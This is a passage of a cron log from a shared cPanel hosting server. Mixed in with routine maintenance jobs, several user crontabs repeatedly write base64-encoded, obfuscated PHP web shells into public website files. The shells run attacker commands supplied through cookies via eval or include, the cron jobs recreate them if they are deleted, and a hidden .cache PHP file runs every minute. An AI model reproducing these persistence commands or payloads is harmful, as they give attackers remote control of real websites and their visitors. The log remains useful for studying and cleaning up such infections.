--decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:54:01 medusa CROND[5274]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:55:01 medusa CROND[19354]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 08:55:01 medusa CROND[19659]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 08:55:01 medusa CROND[19664]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 08:55:01 medusa CROND[19666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 08:55:01 medusa CROND[19670]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:55:01 medusa CROND[19673]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:55:01 medusa CROND[19672]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:55:01 medusa CROND[19677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:55:01 medusa CROND[19678]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 08:55:01 medusa CROND[19680]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 08:55:01 medusa CROND[19683]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:55:01 medusa CROND[19684]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 08:55:01 medusa CROND[19685]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:55:01 medusa CROND[19687]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 08:55:01 medusa CROND[19688]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:55:01 medusa CROND[19690]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:55:01 medusa CROND[19691]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:55:01 medusa CROND[19694]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:55:01 medusa CROND[19686]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 08:55:01 medusa CROND[19700]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 08:55:01 medusa CROND[19701]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:55:01 medusa CROND[19699]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 08:56:01 medusa CROND[7992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:56:01 medusa CROND[8157]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:56:01 medusa CROND[8158]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:56:01 medusa CROND[8159]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:56:01 medusa CROND[8161]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:56:01 medusa CROND[8165]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 08:56:01 medusa CROND[8167]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:56:01 medusa CROND[8179]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:56:01 medusa CROND[8180]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:56:01 medusa CROND[8182]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:56:01 medusa CROND[8181]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:56:01 medusa CROND[8186]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:56:01 medusa CROND[8185]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 08:56:01 medusa CROND[8205]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 08:57:01 medusa CROND[27357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:57:01 medusa CROND[27358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:57:01 medusa CROND[27359]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:57:01 medusa CROND[27360]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:57:01 medusa CROND[27361]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:57:01 medusa CROND[27362]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 08:57:01 medusa CROND[27363]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
